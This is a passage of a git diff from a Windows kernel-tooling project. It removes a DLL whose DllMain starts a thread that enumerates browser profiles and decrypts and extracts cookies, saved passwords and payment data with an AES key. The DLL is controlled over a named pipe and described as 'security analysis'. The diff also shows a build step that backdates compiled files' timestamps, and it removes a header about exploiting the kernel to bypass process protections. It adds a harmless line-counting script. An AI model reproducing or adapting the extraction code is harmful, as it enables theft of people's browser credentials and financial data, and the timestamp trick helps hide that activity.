enumerator(browserManager.getUserDataRoot(), m_logger); - auto profilePaths = enumerator.FindProfiles(); - - for (const auto& profilePath : profilePaths) - { - m_logger.Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename())); - - // Extract each data type (cookies, passwords, payments) using specialized handlers - for (const auto& dataConfig : Data::GetExtractionConfigs()) - { - DataExtractor extractor(profilePath, dataConfig, aesKey, m_logger, m_outputPath, browserConfig.name); - extractor.Extract(); - } - } - - m_logger.Log("[*] All profiles processed. Security analysis process finished."); - } - - private: - // Read configuration parameters from orchestrator via named pipe - void ReadPipeParameters() - { - char buffer[MAX_PATH + 1] = {0}; - DWORD bytesRead = 0; - - // Read verbose flag configuration - ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr); - - // Read output path configuration - ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr); - buffer[bytesRead] = '\0'; - m_outputPath = buffer; - } - - PipeLogger m_logger; - fs::path m_outputPath; - }; -} - -// Thread parameters for security module worker thread -struct ModuleThreadParams -{ - HMODULE hModule_dll; - LPVOID lpPipeNamePointerFromOrchestrator; -}; - -// Main worker thread for browser security analysis operations -DWORD WINAPI SecurityModuleWorker(LPVOID lpParam) -{ - auto thread_params = std::unique_ptr(static_cast(lpParam)); - - try - { - SecurityComponents::SecurityOrchestrator orchestrator(static_cast(thread_params->lpPipeNamePointerFromOrchestrator)); - orchestrator.Run(); - } - catch (const std::exception& e) - { - try - { - // Attempt to log error through pipe if communication channel is available - SecurityComponents::PipeLogger errorLogger(static_cast(thread_params->lpPipeNamePointerFromOrchestrator)); - if (errorLogger.isValid()) - { - errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what())); - } - } - catch (...) {} // Failsafe error handling if logging subsystem fails - } - - FreeLibraryAndExitThread(thread_params->hModule_dll, 0); - return 0; -} - -// Security module entry point - initializes browser security analysis operations -BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) -{ - if (reason == DLL_PROCESS_ATTACH) - { - DisableThreadLibraryCalls(hModule); - - auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved}; - if (!params) return TRUE; - - HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL); - if (hThread) - { - CloseHandle(hThread); - } - else - { - delete params; - } - } - return TRUE; -} \ No newline at end of file diff --git a/kvc/kvc_crypt.rc b/kvc/kvc_crypt.rc index 844c79f..379b2a7 100644 Binary files a/kvc/kvc_crypt.rc and b/kvc/kvc_crypt.rc differ diff --git a/kvc/kvc_crypt.vcxproj b/kvc/kvc_crypt.vcxproj index 05a31f3..2b2e07f 100644 --- a/kvc/kvc_crypt.vcxproj +++ b/kvc/kvc_crypt.vcxproj @@ -64,25 +64,28 @@ powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}" - 0x0409 - + + + + - + + + + - - diff --git a/kvc/kvc_crypt.vcxproj.user b/kvc/kvc_crypt.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/kvc/kvc_crypt.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kvc/kvc_pass.vcxproj b/kvc/kvc_pass.vcxproj index e41179b..1a1b21e 100644 --- a/kvc/kvc_pass.vcxproj +++ b/kvc/kvc_pass.vcxproj @@ -65,18 +65,26 @@ - + + + + + + + + + + - diff --git a/kvc/licznik.py b/kvc/licznik.py new file mode 100644 index 0000000..77d5317 --- /dev/null +++ b/kvc/licznik.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python3 +import os +import sys + +EXTS = {'.cpp', '.h', '.asm'} + +def strip_c_style_comments(src: str) -> str: + out = [] + i = 0 + n = len(src) + in_block = False + in_line = False + in_double = False + in_single = False + escape = False + while i < n: + ch = src[i] + nxt = src[i+1] if i+1 < n else '' + if in_block: + if ch == '*' and nxt == '/': + in_block = False + i += 2 + continue + else: + i += 1 + continue + if in_line: + if ch == '\n': + in_line = False + out.append(ch) + i += 1 + continue + if not in_double and not in_single: + if ch == '/' and nxt == '*': + in_block = True + i += 2 + continue + if ch == '/' and nxt == '/': + in_line = True + i += 2 + continue + # handle string/char quoting and escapes + if ch == '"' and not in_single: + if not escape: + in_double = not in_double + elif ch == "'" and not in_double: + if not escape: + in_single = not in_single + if ch == '\\' and (in_double or in_single): + escape = not escape + else: + escape = False + out.append(ch) + i += 1 + return ''.join(out) + +def strip_asm_comments(src: str) -> str: + out_lines = [] + in_double = False + in_single = False + for line in src.splitlines(True): + res = [] + escape = False + for i,ch in enumerate(line): + if ch == '"' and not in_single: + if not escape: + in_double = not in_double + elif ch == "'" and not in_double: + if not escape: + in_single = not in_single + if (not in_double and not in_single) and (ch == ';' or ch == '#'): + # drop remainder of line + break + res.append(ch) + if ch == '\\': + escape = not escape + else: + escape = False + out_lines.append(''.join(res)) + # reset string state per line for typical asm; if you want to preserve multi-line strings, remove the next two lines + in_double = False + in_single = False + return ''.join(out_lines) + +def strip_comments_by_ext(path, text): + ext = os.path.splitext(path)[1].lower() + if ext in ('.cpp', '.h'): + # first remove C-style comments preserving strings + return strip_c_style_comments(text) + elif ext == '.asm': + # remove common asm line comments ; and # + # also remove C-style block comments if present + t = strip_c_style_comments(text) + return strip_asm_comments(t) + else: + return text + +total = 0 +per_file = [] + +for root, dirs, files in os.walk('.'): + for name in files: + ext = os.path.splitext(name)[1].lower() + if ext in EXTS: + full = os.path.join(root, name) + try: + with open(full, 'r', encoding='utf-8', errors='replace') as f: + src = f.read() + except Exception as e: + print(f"Could not read {full}: {e}", file=sys.stderr) + continue + cleaned = strip_comments_by_ext(full, src) + # count non-empty lines after stripping comments and trimming whitespace + count = sum(1 for line in cleaned.splitlines() if line.strip() != '') + per_file.append((full, count)) + total += count + +# print per-file and total +for fn, c in per_file: + print(f"{fn}: {c}") +print(f"\nTotal (non-empty, comments removed): {total}") diff --git a/kvc/syscalls.cpp b/kvc/syscalls.cpp index 41324a0..e97d91a 100644 --- a/kvc/syscalls.cpp +++ b/kvc/syscalls.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // syscalls.cpp #include "syscalls.h" #include